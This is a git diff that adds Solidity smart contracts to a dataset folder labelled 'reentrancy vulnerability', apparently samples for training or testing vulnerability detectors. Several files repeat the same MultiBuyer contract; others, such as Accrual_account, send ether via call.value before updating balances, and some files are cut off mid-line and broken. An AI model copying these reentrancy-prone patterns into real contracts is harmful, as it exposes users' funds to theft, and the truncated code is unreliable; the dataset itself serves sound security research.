public view returns (uint256 returnAmount); + function change(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256 returnAmount); + + function allWeights() public view returns(uint256[] _weights); + function allTokensDecimalsBalancesWeights() public view returns(ERC20[] _tokens, uint8[] _decimals, uint256[] _balances, uint256[] _weights); +} + +// File: openzeppelin-solidity/contracts/math/SafeMath.sol + +/** + * @title SafeMath + * @dev Math operations with safety checks that throw on error + */ +library SafeMath { + + /** + * @dev Multiplies two numbers, throws on overflow. + */ + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + // Gas optimization: this is cheaper than asserting 'a' not being zero, but the + // benefit is lost if 'b' is also tested. + // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 + if (a == 0) { + return 0; + } + + c = a * b; + assert(c / a == b); + return c; + } + + /** + * @dev Integer division of two numbers, truncating the quotient. + */ + function div(uint256 a, uint256 b) internal pure returns (uint256) { + // assert(b > 0); // Solidity automatically throws when dividing by 0 + // uint256 c = a / b; + // assert(a == b * c + a % b); // There is no case in which this doesn't hold + return a / b; + } + + /** + * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). + */ + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + /** + * @dev Adds two numbers, throws on overflow. + */ + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + +// File: openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol + +/** + * @title SafeERC20 + * @dev Wrappers around ERC20 operations that throw on failure. + * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, + * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. + */ +library SafeERC20 { + function safeTransfer(ERC20Basic token, address to, uint256 value) internal { + require(token.transfer(to, value)); + } + + function safeTransferFrom( + ERC20 token, + address from, + address to, + uint256 value + ) + internal + { + require(token.transferFrom(from, to, value)); + } + + function safeApprove(ERC20 token, address spender, uint256 value) internal { + require(token.approve(spender, value)); + } +} + +// File: openzeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + constructor() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to relinquish control of the contract. + */ + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function transferOwnership(address _newOwner) public onlyOwner { + _transferOwnership(_newOwner); + } + + /** + * @dev Transfers control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function _transferOwnership(address _newOwner) internal { + require(_newOwner != address(0)); + emit OwnershipTransferred(owner, _newOwner); + owner = _newOwner; + } +} + +// File: openzeppelin-solidity/contracts/ownership/CanReclaimToken.sol + +/** + * @title Contracts that should be able to recover tokens + * @author SylTi + * @dev This allow a contract to recover any ERC20 token received in a contract by transferring the balance to the contract owner. + * This will prevent any accidental loss of tokens. + */ +contract CanReclaimToken is Ownable { + using SafeERC20 for ERC20Basic; + + /** + * @dev Reclaim all ERC20Basic compatible tokens + * @param token ERC20Basic The address of the token contract + */ + function reclaimToken(ERC20Basic token) external onlyOwner { + uint256 balance = token.balanceOf(this); + token.safeTransfer(owner, balance); + } + +} + +// File: contracts/registry/MultiBuyer.sol + +contract MultiBuyer is CanReclaimToken { + using SafeMath for uint256; + + function buy( + IMultiToken _mtkn, + uint256 _minimumReturn, + ERC20 _throughToken, + address[] _exchanges, + bytes _datas, + uint[] _datasIndexes, // including 0 and LENGTH values + uint256[] _values + ) + public + payable + { + require(_datasIndexes.length == _exchanges.length + 1, "buy: _datasIndexes should start with 0 and end with LENGTH"); + require(_values.length == _exchanges.length, "buy: _values should have the same length as _exchanges"); + + for (uint i = 0; i < _exchanges.length; i++) { + bytes memory data = new bytes(_datasIndexes[i + 1] - _datasIndexes[i]); + for (uint j = _datasIndexes[i]; j < _datasIndexes[i + 1]; j++) { + data[j - _datasIndexes[i]] = _datas[j]; + } + + if (_throughToken != address(0) && i > 0) { + _throughToken.approve(_exchanges[i], _throughToken.balanceOf(this)); + } + require(_exchanges[i].call.value(_values[i])(data), "buy: exchange arbitrary call failed"); + if (_throughToken != address(0)) { + _throughToken.approve(_exchanges[i], 0); + } + } + + j = _mtkn.totalSupply(); // optimization totalSupply + uint256 bestAmount = uint256(-1); + for (i = _mtkn.tokensCount(); i > 0; i--) { + ERC20 token = _mtkn.tokens(i - 1); + token.approve(_mtkn, token.balanceOf(this)); + + uint256 amount = j.mul(token.balanceOf(this)).div(token.balanceOf(_mtkn)); + if (amount < bestAmount) { + bestAmount = amount; + } + } + + require(bestAmount >= _minimumReturn, "buy: return value is too low"); + _mtkn.bundle(msg.sender, bestAmount); + if (address(this).balance > 0) { + msg.sender.transfer(address(this).balance); + } + } +} \ No newline at end of file diff --git a/smart_contract_dataset/reentrancy vulnerability/21084.sol b/smart_contract_dataset/reentrancy vulnerability/21084.sol new file mode 100644 index 0000000000000000000000000000000000000000..dc576e5085fc7b102ac9c6c2e011006c0b6c755b --- /dev/null +++ b/smart_contract_dataset/reentrancy vulnerability/21084.sol @@ -0,0 +1,288 @@ +pragma solidity ^0.4.24; + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) + public view returns (uint256); + + function transferFrom(address from, address to, uint256 value) + public returns (bool); + + function approve(address spender, uint256 value) public returns (bool); + event Approval( + address indexed owner, + address indexed spender, + uint256 value + ); +} + +// File: contracts/interface/IBasicMultiToken.sol + +contract IBasicMultiToken is ERC20 { + event Bundle(address indexed who, address indexed beneficiary, uint256 value); + event Unbundle(address indexed who, address indexed beneficiary, uint256 value); + + function tokensCount() public view returns(uint256); + function tokens(uint256 _index) public view returns(ERC20); + function allTokens() public view returns(ERC20[]); + function allDecimals() public view returns(uint8[]); + function allBalances() public view returns(uint256[]); + function allTokensDecimalsBalances() public view returns(ERC20[], uint8[], uint256[]); + + function bundleFirstTokens(address _beneficiary, uint256 _amount, uint256[] _tokenAmounts) public; + function bundle(address _beneficiary, uint256 _amount) public; + + function unbundle(address _beneficiary, uint256 _value) public; + function unbundleSome(address _beneficiary, uint256 _value, ERC20[] _tokens) public; +} + +// File: contracts/interface/IMultiToken.sol + +contract IMultiToken is IBasicMultiToken { + event Update(); + event Change(address indexed _fromToken, address indexed _toToken, address indexed _changer, uint256 _amount, uint256 _return); + + function getReturn(address _fromToken, address _toToken, uint256 _amount) public view returns (uint256 returnAmount); + function change(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256 returnAmount); + + function allWeights() public view returns(uint256[] _weights); + function allTokensDecimalsBalancesWeights() public view returns(ERC20[] _tokens, uint8[] _decimals, uint256[] _balances, uint256[] _weights); +} + +// File: openzeppelin-solidity/contracts/math/SafeMath.sol + +/** + * @title SafeMath + * @dev Math operations with safety checks that throw on error + */ +library SafeMath { + + /** + * @dev Multiplies two numbers, throws on overflow. + */ + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + // Gas optimization: this is cheaper than asserting 'a' not being zero, but the + // benefit is lost if 'b' is also tested. + // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 + if (a == 0) { + return 0; + } + + c = a * b; + assert(c / a == b); + return c; + } + + /** + * @dev Integer division of two numbers, truncating the quotient. + */ + function div(uint256 a, uint256 b) internal pure returns (uint256) { + // assert(b > 0); // Solidity automatically throws when dividing by 0 + // uint256 c = a / b; + // assert(a == b * c + a % b); // There is no case in which this doesn't hold + return a / b; + } + + /** + * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). + */ + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + /** + * @dev Adds two numbers, throws on overflow. + */ + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + +// File: openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol + +/** + * @title SafeERC20 + * @dev Wrappers around ERC20 operations that throw on failure. + * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, + * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. + */ +library SafeERC20 { + function safeTransfer(ERC20Basic token, address to, uint256 value) internal { + require(token.transfer(to, value)); + } + + function safeTransferFrom( + ERC20 token, + address from, + address to, + uint256 value + ) + internal + { + require(token.transferFrom(from, to, value)); + } + + function safeApprove(ERC20 token, address spender, uint256 value) internal { + require(token.approve(spender, value)); + } +} + +// File: openzeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + constructor() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to relinquish control of the contract. + */ + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function transferOwnership(address _newOwner) public onlyOwner { + _transferOwnership(_newOwner); + } + + /** + * @dev Transfers control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function _transferOwnership(address _newOwner) internal { + require(_newOwner != address(0)); + emit OwnershipTransferred(owner, _newOwner); + owner = _newOwner; + } +} + +// File: openzeppelin-solidity/contracts/ownership/CanReclaimToken.sol + +/** + * @title Contracts that should be able to recover tokens + * @author SylTi + * @dev This allow a contract to recover any ERC20 token received in a contract by transferring the balance to the contract owner. + * This will prevent any accidental loss of tokens. + */ +contract CanReclaimToken is Ownable { + using SafeERC20 for ERC20Basic; + + /** + * @dev Reclaim all ERC20Basic compatible tokens + * @param token ERC20Basic The address of the token contract + */ + function reclaimToken(ERC20Basic token) external onlyOwner { + uint256 balance = token.balanceOf(this); + token.safeTransfer(owner, balance); + } + +} + +// File: contracts/registry/MultiBuyer.sol + +contract MultiBuyer is CanReclaimToken { + using SafeMath for uint256; + + function buy( + IMultiToken _mtkn, + uint256 _minimumReturn, + ERC20 _throughToken, + address[] _exchanges, + bytes _datas, + uint[] _datasIndexes, // including 0 and LENGTH values + uint256[] _values + ) + public + payable + { + require(_datasIndexes.length == _exchanges.length + 1, "buy: _datasIndexes should start with 0 and end with LENGTH"); + require(_values.length == _exchanges.length, "buy: _values should have the same length as _exchanges"); + + for (uint i = 0; i < _exchanges.length; i++) { + bytes memory data = new bytes(_datasIndexes[i + 1] - _datasIndexes[i]); + for (uint j = _datasIndexes[i]; j < _datasIndexes[i + 1]; j++) { + data[j - _datasIndexes[i]] = _datas[j]; + } + + if (_throughToken != address(0) && i > 0) { + _throughToken.approve(_exchanges[i], _throughToken.balanceOf(this)); + } + require(_exchanges[i].call.value(_values[i])(data), "buy: exchange arbitrary call failed"); + if (_throughToken != address(0)) { + _throughToken.approve(_exchanges[i], 0); + } + } + + j = _mtkn.totalSupply(); // optimization totalSupply + uint256 bestAmount = uint256(-1); + for (i = _mtkn.tokensCount(); i > 0; i--) { + ERC20 token = _mtkn.tokens(i - 1); + token.approve(_mtkn, token.balanceOf(this)); + + uint256 amount = j.mul(token.balanceOf(this)).div(token.balanceOf(_mtkn)); + if (amount < bestAmount) { + bestAmount = amount; + } + } + + require(bestAmount >= _minimumReturn, "buy: return value is too low"); + _mtkn.bundle(msg.sender, bestAmount); + if (address(this).balance > 0) { + msg.sender.transfer(address(this).balance); + } + } +} \ No newline at end of file diff --git a/smart_contract_dataset/reentrancy vulnerability/21390.sol b/smart_contract_dataset/reentrancy vulnerability/21390.sol new file mode 100644 index 0000000000000000000000000000000000000000..2cedebf8162eebd52e738c0de58a87d916c57bc5 --- /dev/null +++ b/smart_contract_dataset/reentrancy vulnerability/21390.sol @@ -0,0 +1,68 @@ +contract Accrual_account +{ + address admin = msg.sender; + + uint targetAmount = 1 ether; + + mapping(address => uint) public investors; + + event FundsMove(uint amount,bytes32 typeAct,address adr); + + function changeAdmin(address _new) + { + if(_new==0x0)throw; + if(msg.sender!=admin)throw; + admin=_new; + } + + function FundTransfer(uint _am, bytes32 _operation, address _to, address _feeToAdr) + payable + { + if(msg.sender != address(this)) throw; + if(_operation=="In") + { + FundsMove(msg.value,"In",_to); + investors[_to] += _am; + } + else + { + uint amTotransfer = 0; + if(_to==_feeToAdr) + { + amTotransfer=_am; + } + else + { + amTotransfer=_am/100*99; + investors[_feeToAdr]+=_am-amTotransfer; + } + if(_to.call.value(_am)()==false)throw; + investors[_to] -= _am; + FundsMove(_am, "Out", _to); + } + } + + function() + payable + { + In(msg.sender); + } + + function Out(uint amount) + payable + { + if(investors[msg.sender] +contract MultiSigWallet { + + /* + * Events + */ + event Confirmation(address indexed sender, uint indexed transactionId); + event Revocation(address indexed sender, uint indexed transactionId); + event Submission(uint indexed transactionId); + event Execution(uint indexed transactionId); + event ExecutionFailure(uint indexed transactionId); + event Deposit(address indexed sender, uint value); + event OwnerAddition(address indexed owner); + event OwnerRemoval(address indexed owner); + event RequirementChange(uint required); + + /* + * Constants + */ + uint constant public MAX_OWNER_COUNT = 50; + + /* + * Storage + */ + mapping (uint => Transaction) public transactions; + mapping (uint => mapping (address => bool)) public confirmations; + mapping (address => bool) public isOwner; + address[] public owners; + uint public required; + uint public transactionCount; + + struct Transaction { + address destination; + uint value; + bytes data; + bool executed; + } + + /* + * Modifiers + */ + modifier onlyWallet() { + if (msg.sender != address(this)) + throw; + _; + } + + modifier ownerDoesNotExist(address owner) { + if (isOwner[owner]) + throw; + _; + } + + modifier ownerExists(address owner) { + if (!isOwner[owner]) + throw; + _; + } + + modifier transactionExists(uint transactionId) { + if (transactions[transactionId].destination == 0) + throw; + _; + } + + modifier confirmed(uint transactionId, address owner) { + if (!confirmations[transactionId][owner]) + throw; + _; + } + + modifier notConfirmed(uint transactionId, address owner) { + if (confirmations[transactionId][owner]) + throw; + _; + } + + modifier notExecuted(uint transactionId) { + if (transactions[transactionId].executed) + throw; + _; + } + + modifier notNull(address _address) { + if (_address == 0) + throw; + _; + } + + modifier validRequirement(uint ownerCount, uint _required) { + if ( ownerCount > MAX_OWNER_COUNT + || _required > ownerCount + || _required == 0 + || ownerCount == 0) + throw; + _; + } + + /// @dev Fallback function allows to deposit ether. + function() + payable + { + if (msg.value > 0) + Deposit(msg.sender, msg.value); + } + + /* + * Public functions + */ + /// @dev Contract constructor sets initial owners and required number of confirmations. + /// @param _owners List of initial owners. + /// @param _required Number of required confirmations. + function MultiSigWallet(address[] _owners, uint _required) + public + validRequirement(_owners.length, _required) + { + for (uint i=0; i<_owners.length; i++) { + if (isOwner[_owners[i]] || _owners[i] == 0) + throw; + isOwner[_owners[i]] = true; + } + owners = _owners; + required = _required; + } + + /// @dev Allows to add a new owner. Transaction has to be sent by wallet. + /// @param owner Address of new owner. + function addOwner(address owner) + public + onlyWallet + ownerDoesNotExist(owner) + notNull(owner) + validRequirement(owners.length + 1, required) + { + isOwner[owner] = true; + owners.push(owner); + OwnerAddition(owner); + } + + /// @dev Allows to remove an owner. Transaction has to be sent by wallet. + /// @param owner Address of owner. + function removeOwner(address owner) + public + onlyWallet + ownerExists(owner) + { + isOwner[owner] = false; + for (uint i=0; i owners.length) + changeRequirement(owners.length); + OwnerRemoval(owner); + } + + /// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet. + /// @param owner Address of owner to be replaced. + /// @param newOwner Address of new owner. + function replaceOwner(address owner, address newOwner) + public + onlyWallet + ownerExists(owner) + ownerDoesNotExist(newOwner) + { + for (uint i=0; i +contract MultiSigWalletWithDailyLimit is MultiSigWallet { + + /* + * Events + */ + event DailyLimitChange(uint dailyLimit); + + /* + * Storage + */ + uint public dailyLimit; + uint public lastDay; + uint public spentToday; + + /* + * Public functions + */ + /// @dev Contract constructor sets initial owners, required number of confirmations and daily withdraw limit. + /// @param _owners List of initial owners. + /// @param _required Number of required confirmations. + /// @param _dailyLimit Amount in wei, which can be withdrawn without confirmations on a daily basis. + function MultiSigWalletWithDailyLimit(address[] _owners, uint _required, uint _dailyLimit) + public + MultiSigWallet(_owners, _required) + { + dailyLimit = _dailyLimit; + } + + /// @dev Allows to change the daily limit. Transaction has to be sent by wallet. + /// @param _dailyLimit Amount in wei. + function changeDailyLimit(uint _dailyLimit) + public + onlyWallet + { + dailyLimit = _dailyLimit; + DailyLimitChange(_dailyLimit); + } + + /// @dev Allows anyone to execute a confirmed transaction or ether withdraws until daily limit is reached. + /// @param transactionId Transaction ID. + function executeTransaction(uint transactionId) + public + ownerExists(msg.sender) + confirmed(transactionId, msg.sender) + notExecuted(transactionId) + { + Transaction tx = transactions[transactionId]; + bool _confirmed = isConfirmed(transactionId); + if (_confirmed || tx.data.length == 0 && isUnderLimit(tx.value)) { + tx.executed = true; + if (!_confirmed) + spentToday += tx.value; + if (tx.destination.call.value(tx.value)(tx.data)) + Execution(transactionId); + else { + ExecutionFailure(transactionId); + tx.executed = false; + if (!_confirmed) + spentToday -= tx.value; + } + } + } + + /* + * Internal functions + */ + /// @dev Returns if amount is within daily limit and resets spentToday after one day. + /// @param amount Amount to withdraw. + /// @return Returns if amount is under daily limit. + function isUnderLimit(uint amount) + internal + returns (bool) + { + if (now > lastDay + 24 hours) { + lastDay = now; + spentToday = 0; + } + if (spentToday + amount > dailyLimit || spentToday + amount < spentToday) + return false; + return true; + } + + /* + * Web3 call functions + */ + /// @dev Returns maximum withdraw amount. + /// @return Returns amount. + function calcMaxWithdraw() + public + constant + returns (uint) + { + if (now > lastDay + 24 hours) + return dailyLimit; + if (dailyLimit < spentToday) + return 0; + return dailyLimit - spentToday; + } +} \ No newline at end of file diff --git a/smart_contract_dataset/reentrancy vulnerability/21700.sol b/smart_contract_dataset/reentrancy vulnerability/21700.sol new file mode 100644 index 0000000000000000000000000000000000000000..dc576e5085fc7b102ac9c6c2e011006c0b6c755b --- /dev/null +++ b/smart_contract_dataset/reentrancy vulnerability/21700.sol @@ -0,0 +1,288 @@ +pragma solidity ^0.4.24; + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) + public view returns (uint256); + + function transferFrom(address from, address to, uint256 value) + public returns (bool); + + function approve(address spender, uint256 value) public returns (bool); + event Approval( + address indexed owner, + address indexed spender, + uint256 value + ); +} + +// File: contracts/interface/IBasicMultiToken.sol + +contract IBasicMultiToken is ERC20 { + event Bundle(address indexed who, address indexed beneficiary, uint256 value); + event Unbundle(address indexed who, address indexed beneficiary, uint256 value); + + function tokensCount() public view returns(uint256); + function tokens(uint256 _index) public view returns(ERC20); + function allTokens() public view returns(ERC20[]); + function allDecimals() public view returns(uint8[]); + function allBalances() public view returns(uint256[]); + function allTokensDecimalsBalances() public view returns(ERC20[], uint8[], uint256[]); + + function bundleFirstTokens(address _beneficiary, uint256 _amount, uint256[] _tokenAmounts) public; + function bundle(address _beneficiary, uint256 _amount) public; + + function unbundle(address _beneficiary, uint256 _value) public; + function unbundleSome(address _beneficiary, uint256 _value, ERC20[] _tokens) public; +} + +// File: contracts/interface/IMultiToken.sol + +contract IMultiToken is IBasicMultiToken { + event Update(); + event Change(address indexed _fromToken, address indexed _toToken, address indexed _changer, uint256 _amount, uint256 _return); + + function getReturn(address _fromToken, address _toToken, uint256 _amount) public view returns (uint256 returnAmount); + function change(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256 returnAmount); + + function allWeights() public view returns(uint256[] _weights); + function allTokensDecimalsBalancesWeights() public view returns(ERC20[] _tokens, uint8[] _decimals, uint256[] _balances, uint256[] _weights); +} + +// File: openzeppelin-solidity/contracts/math/SafeMath.sol + +/** + * @title SafeMath + * @dev Math operations with safety checks that throw on error + */ +library SafeMath { + + /** + * @dev Multiplies two numbers, throws on overflow. + */ + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + // Gas optimization: this is cheaper than asserting 'a' not being zero, but the + // benefit is lost if 'b' is also tested. + // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 + if (a == 0) { + return 0; + } + + c = a * b; + assert(c / a == b); + return c; + } + + /** + * @dev Integer division of two numbers, truncating the quotient. + */ + function div(uint256 a, uint256 b) internal pure returns (uint256) { + // assert(b > 0); // Solidity automatically throws when dividing by 0 + // uint256 c = a / b; + // assert(a == b * c + a % b); // There is no case in which this doesn't hold + return a / b; + } + + /** + * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). + */ + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + /** + * @dev Adds two numbers, throws on overflow. + */ + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + +// File: openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol + +/** + * @title SafeERC20 + * @dev Wrappers around ERC20 operations that throw on failure. + * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, + * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. + */ +library SafeERC20 { + function safeTransfer(ERC20Basic token, address to, uint256 value) internal { + require(token.transfer(to, value)); + } + + function safeTransferFrom( + ERC20 token, + address from, + address to, + uint256 value + ) + internal + { + require(token.transferFrom(from, to, value)); + } + + function safeApprove(ERC20 token, address spender, uint256 value) internal { + require(token.approve(spender, value)); + } +} + +// File: openzeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + constructor() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to relinquish control of the contract. + */ + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function transferOwnership(address _newOwner) public onlyOwner { + _transferOwnership(_newOwner); + } + + /** + * @dev Transfers control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function _transferOwnership(address _newOwner) internal { + require(_newOwner != address(0)); + emit OwnershipTransferred(owner, _newOwner); + owner = _newOwner; + } +} + +// File: openzeppelin-solidity/contracts/ownership/CanReclaimToken.sol + +/** + * @title Contracts that should be able to recover tokens + * @author SylTi + * @dev This allow a contract to recover any ERC20 token received in a contract by transferring the balance to the contract owner. + * This will prevent any accidental loss of tokens. + */ +contract CanReclaimToken is Ownable { + using SafeERC20 for ERC20Basic; + + /** + * @dev Reclaim all ERC20Basic compatible tokens + * @param token ERC20Basic The address of the token contract + */ + function reclaimToken(ERC20Basic token) external onlyOwner { + uint256 balance = token.balanceOf(this); + token.safeTransfer(owner, balance); + } + +} + +// File: contracts/registry/MultiBuyer.sol + +contract MultiBuyer is CanReclaimToken { + using SafeMath for uint256; + + function buy( + IMultiToken _mtkn, + uint256 _minimumReturn, + ERC20 _throughToken, + address[] _exchanges, + bytes _datas, + uint[] _datasIndexes, // including 0 and LENGTH values + uint256[] _values + ) + public + payable + { + require(_datasIndexes.length == _exchanges.length + 1, "buy: _datasIndexes should start with 0 and end with LENGTH"); + require(_values.length == _exchanges.length, "buy: _values should have the same length as _exchanges"); + + for (uint i = 0; i < _exchanges.length; i++) { + bytes memory data = new bytes(_datasIndexes[i + 1] - _datasIndexes[i]); + for (uint j = _datasIndexes[i]; j < _datasIndexes[i + 1]; j++) { + data[j - _datasIndexes[i]] = _datas[j]; + } + + if (_throughToken != address(0) && i > 0) { + _throughToken.approve(_exchanges[i], _throughToken.balanceOf(this)); + } + require(_exchanges[i].call.value(_values[i])(data), "buy: exchange arbitrary call failed"); + if (_throughToken != address(0)) { + _throughToken.approve(_exchanges[i], 0); + } + } + + j = _mtkn.totalSupply(); // optimization totalSupply + uint256 bestAmount = uint256(-1); + for (i = _mtkn.tokensCount(); i > 0; i--) { + ERC20 token = _mtkn.tokens(i - 1); + token.approve(_mtkn, token.balanceOf(this)); + + uint256 amount = j.mul(token.balanceOf(this)).div(token.balanceOf(_mtkn)); + if (amount < bestAmount) { + bestAmount = amount; + } + } + + require(bestAmount >= _minimumReturn, "buy: return value is too low"); + _mtkn.bundle(msg.sender, bestAmount); + if (address(this).balance > 0) { + msg.sender.transfer(address(this).balance); + } + } +} \ No newline at end of file diff --git a/smart_contract_dataset/reentrancy vulnerability/21703.sol b/smart_contract_dataset/reentrancy vulnerability/21703.sol new file mode 100644 index 0000000000000000000000000000000000000000..dc576e5085fc7b102ac9c6c2e011006c0b6c755b --- /dev/null +++ b/smart_contract_dataset/reentrancy vulnerability/21703.sol @@ -0,0 +1,288 @@ +pragma solidity ^0.4.24; + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) + public view returns (uint256); + + function transferFrom(address from, address to, uint256 value) + public returns (bool); + + function approve(address spender, uint256 value) public returns (bool); + event Approval( + address indexed owner, + address indexed spender, + uint256 value + ); +} + +// File: contracts/interface/IBasicMultiToken.sol + +contract IBasicMultiToken is ERC20 { + event Bundle(address indexed who, address indexed beneficiary, uint256 value); + event Unbundle(address indexed who, address indexed beneficiary, uint256 value); + + function tokensCount() public view returns(uint256); + function tokens(uint256 _index) public view returns(ERC20); + function allTokens() public view returns(ERC20[]); + function allDecimals() public view returns(uint8[]); + function allBalances() public view returns(uint256[]); + function allTokensDecimalsBalances() public view returns(ERC20[], uint8[], uint256[]); + + function bundleFirstTokens(address _beneficiary, uint256 _amount, uint256[] _tokenAmounts) public; + function bundle(address _beneficiary, uint256 _amount) public; + + function unbundle(address _beneficiary, uint256 _value) public; + function unbundleSome(address _beneficiary, uint256 _value, ERC20[] _tokens) public; +} + +// File: contracts/interface/IMultiToken.sol + +contract IMultiToken is IBasicMultiToken { + event Update(); + event Change(address indexed _fromToken, address indexed _toToken, address indexed _changer, uint256 _amount, uint256 _return); + + function getReturn(address _fromToken, address _toToken, uint256 _amount) public view returns (uint256 returnAmount); + function change(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256 returnAmount); + + function allWeights() public view returns(uint256[] _weights); + function allTokensDecimalsBalancesWeights() public view returns(ERC20[] _tokens, uint8[] _decimals, uint256[] _balances, uint256[] _weights); +} + +// File: openzeppelin-solidity/contracts/math/SafeMath.sol + +/** + * @title SafeMath + * @dev Math operations with safety checks that throw on error + */ +library SafeMath { + + /** + * @dev Multiplies two numbers, throws on overflow. + */ + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + // Gas optimization: this is cheaper than asserting 'a' not being zero, but the + // benefit is lost if 'b' is also tested. + // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 + if (a == 0) { + return 0; + } + + c = a * b; + assert(c / a == b); + return c; + } + + /** + * @dev Integer division of two numbers, truncating the quotient. + */ + function div(uint256 a, uint256 b) internal pure returns (uint256) { + // assert(b > 0); // Solidity automatically throws when dividing by 0 + // uint256 c = a / b; + // assert(a == b * c + a % b); // There is no case in which this doesn't hold + return a / b; + } + + /** + * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). + */ + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + /** + * @dev Adds two numbers, throws on overflow. + 